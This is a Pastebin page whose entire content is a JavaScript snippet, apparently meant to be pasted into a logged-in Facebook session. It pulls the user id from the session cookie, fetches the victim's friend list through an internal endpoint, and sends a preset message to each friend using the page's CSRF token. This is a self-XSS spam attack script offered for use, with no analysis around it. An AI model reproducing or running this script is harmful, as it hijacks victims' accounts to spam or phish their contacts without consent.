Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- MESSAGE = 'noi dung';
- friends = get_friends(document.cookie.match(/c_user=(\d+)/)[1]);
- function get_friends(uid) {
- var request = new XMLHttpRequest();
- request.open("GET", "/ajax/typeahead/first_degree.php?viewer=" + uid + "&filter[0]=user&__a=1", false);
- request.send();
- if (request.readyState == 4) {
- return JSON.parse(request.responseText.substring(request.responseText.indexOf('{'))).payload.entries;
- }
- return false;
- }
- for (var i = 1; i < friends.length; i++) {
- tag_id = friends[i].uid;
- back = new XMLHttpRequest();
- back.open("POST", "/ajax/mercury/send_messages.php");
- back.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- back.send('message_batch[0][source]=source:chat:web&message_batch[0][body]=' + MESSAGE + '&message_batch[0][specific_to_list][0]=fbid:' + tag_id + '&__a=1&fb_dtsg=' + document.getElementsByName('fb_dtsg')[0].value);
- }
Add Comment
Please, Sign In to add comment